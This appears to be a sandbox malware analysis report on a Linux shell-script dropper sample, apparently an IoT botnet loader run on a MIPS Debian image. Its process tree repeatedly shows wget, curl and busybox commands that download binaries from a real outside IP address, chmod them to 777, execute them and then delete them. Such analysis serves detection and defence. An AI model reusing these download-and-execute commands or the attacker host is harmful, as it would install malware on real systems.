f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf

Analysis

max time kernel
101s
max time network
130s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2024, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
Size 10KB
Sample241030-ebdfjsxlcj
SHA256 f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf
MD5 2bb043fa81f7298e8bba7928029c23b7
SHA1 915b1525363e389043c2ef1f9bfefd4b0b6e5585
SHA512 0d566eb7eae109bc2ff779e739a7ed7db59aab344f8d4cf05d6fc884fb8b3316287db6c756e8471e663abfb5a7b64ad5cc240e44ad5ce3c23e8e30643df966a9
SSDEEP 96:mvdVkm0EpWqdG/W8OanWmH/S1hZ4w3bdVkyZ0EpWq1GDmdFuOanWmHLjUS:mHAW8OanWmH/S5EOanWmHX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
873	chmod
897	chmod
957	chmod
735	chmod
813	chmod
831	chmod
891	chmod
771	chmod
856	chmod
903	chmod
915	chmod
945	chmod
927	chmod
969	chmod
797	chmod
909	chmod
749	chmod
951	chmod
719	chmod
879	chmod
921	chmod
819	chmod
885	chmod
933	chmod
939	chmod
963	chmod
867	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
861	rm
886	HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
942	wget
943	curl
944	busybox
946	GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
947	rm
837	wget
970	HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
882	wget
884	busybox
887	rm
858	GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
971	rm
967	curl
852	busybox
883	curl
966	wget
968	busybox
844	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	curl
File opened for modification	/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	curl
File opened for modification	/tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR	curl
File opened for modification	/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	curl
File opened for modification	/tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR	curl
File opened for modification	/tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt	curl
File opened for modification	/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	curl
File opened for modification	/tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ	curl
File opened for modification	/tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ	curl
File opened for modification	/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	curl
File opened for modification	/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	curl
File opened for modification	/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	curl
File opened for modification	/tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ	curl
File opened for modification	/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	curl
File opened for modification	/tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk	curl
File opened for modification	/tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt	curl
File opened for modification	/tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk	curl
File opened for modification	/tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ	curl
File opened for modification	/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	curl
File opened for modification	/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	curl
File opened for modification	/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	curl
File opened for modification	/tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s	curl
File opened for modification	/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	curl
File opened for modification	/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	curl
File opened for modification	/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	curl
File opened for modification	/tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s	curl
File opened for modification	/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	curl
File opened for modification	/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	curl

/tmp/f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
/tmp/f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:700
- /usr/bin/wget
  wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:714
- /bin/chmod
  chmod 777 JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  ./JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Executes dropped EXE
  PID:723
- /bin/rm
  rm JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:724
- /usr/bin/wget
  wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:733
- /bin/chmod
  chmod 777 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  ./76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:737
- /usr/bin/wget
  wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:740
- /bin/chmod
  chmod 777 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  ./5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:746
- /bin/chmod
  chmod 777 AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  ./AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:766
- /bin/chmod
  chmod 777 cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  ./cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:775
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:791
- /bin/chmod
  chmod 777 Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  ./Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:812
- /bin/chmod
  chmod 777 Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  ./Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:818
- /bin/chmod
  chmod 777 uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  ./uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:827
- /bin/chmod
  chmod 777 H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  ./H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:836
- /usr/bin/wget
  wget http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  ./GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:858
- /bin/rm
  rm GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:866
- /bin/chmod
  chmod 777 K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  ./K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm K8OOO3CHCL7RnUPBe0ePfwcB3Kq406hjWR
  2⤵
  PID:869
- /usr/bin/wget
  wget http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:872
- /bin/chmod
  chmod 777 mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  ./mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm mDE1hSvZm1YnLXwF5PCACb2v07SLA9RMGZ
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:878
- /bin/chmod
  chmod 777 Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  ./Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm Eg6egYTTg50H0dgUPcOeIxJUaYZvsQwsIQ
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/chmod
  chmod 777 HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  ./HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:886
- /bin/rm
  rm HyKDK5RzSxzASiPUk4Mq5hoXGIzmrl4fmt
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/wget
  wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:890
- /bin/chmod
  chmod 777 JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  ./JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:896
- /bin/chmod
  chmod 777 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  ./76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:902
- /bin/chmod
  chmod 777 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  ./5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:908
- /bin/chmod
  chmod 777 AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  ./AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:914
- /bin/chmod
  chmod 777 cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  ./cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:920
- /bin/chmod
  chmod 777 Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  ./Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:926
- /bin/chmod
  chmod 777 Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  ./Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:932
- /bin/chmod
  chmod 777 uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  ./uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:938
- /bin/chmod
  chmod 777 H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  ./H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.84.230/bins/GJm1lpViRQtjvAWVgHnz3pipUrpOIZJ9Fk
